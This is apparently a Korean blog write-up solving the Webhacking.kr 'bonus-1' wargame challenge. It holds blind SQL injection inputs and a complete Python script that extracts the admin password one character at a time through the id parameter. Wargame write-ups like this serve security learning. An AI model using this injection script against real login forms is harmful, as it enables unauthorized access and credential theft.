728x90
blind sql injection 문제이다. 먼저 id와 pw에 아무거나 치면은 login fail이 나온다.
일단, blind sql injection 문제이니 id에 admin' and substr(pw,1,1)='a' 이렇게 하고 pw엔 아무거나 넣은 후 제출하면 역시 login fail이 나온다.
따로 안막아 놓은걸 보면은 substr이 활용 가능해진다는걸 알게 되었고 먼저 첫글자를 찾기위해 버프스위트 인트루더를 사용해봤다. 그랬더니 t일때 Result가 wrong passwod 이렇게 떴다.
그래서 얼른 파이썬 코드를 짜줬다.
from requests import get
host = "https://webhacking.kr/challenge/bonus-1"
password = ""
pws = "abcedefghijklmnopqrstuvwxyz0123456789_"
i = 0
isStr = False
while True:
i+=1
for s in pws:
query = f"admin' and substr(pw,{i},1)='{s}'-- " # 주석 띄어쓰기
r = get(f"{host}/index.php?id={query}&pw=asdf")
if "fail" not in r.text:
isStr = True
password+=s
print(password)
break
if isStr == False:
break
isStr = False
print(password)
pws 문자 중에서 맞는 문자가 나오면 passwod에 저장하고 뭐 저중에 문자가 안나올때 까지 계속 돌리는 코드이다..
돌려주면은 password를 얻을 수 있고 admin아이디로 로그인 해주면은 해결하게 된다.
728x90
반응형
'Web Hacking > Webhacking.kr' 카테고리의 다른 글
Webhacking.kr old-49 풀이 (0) | 2024.01.04 |
---|---|
Webhacking.kr old-11 풀이 (0) | 2023.12.31 |
Webhacking.kr old-12 풀이 (0) | 2023.12.27 |
Webhacking.kr old-51 풀이 (0) | 2023.12.27 |
Webhacking.kr old-10 풀이 (0) | 2023.12.24 |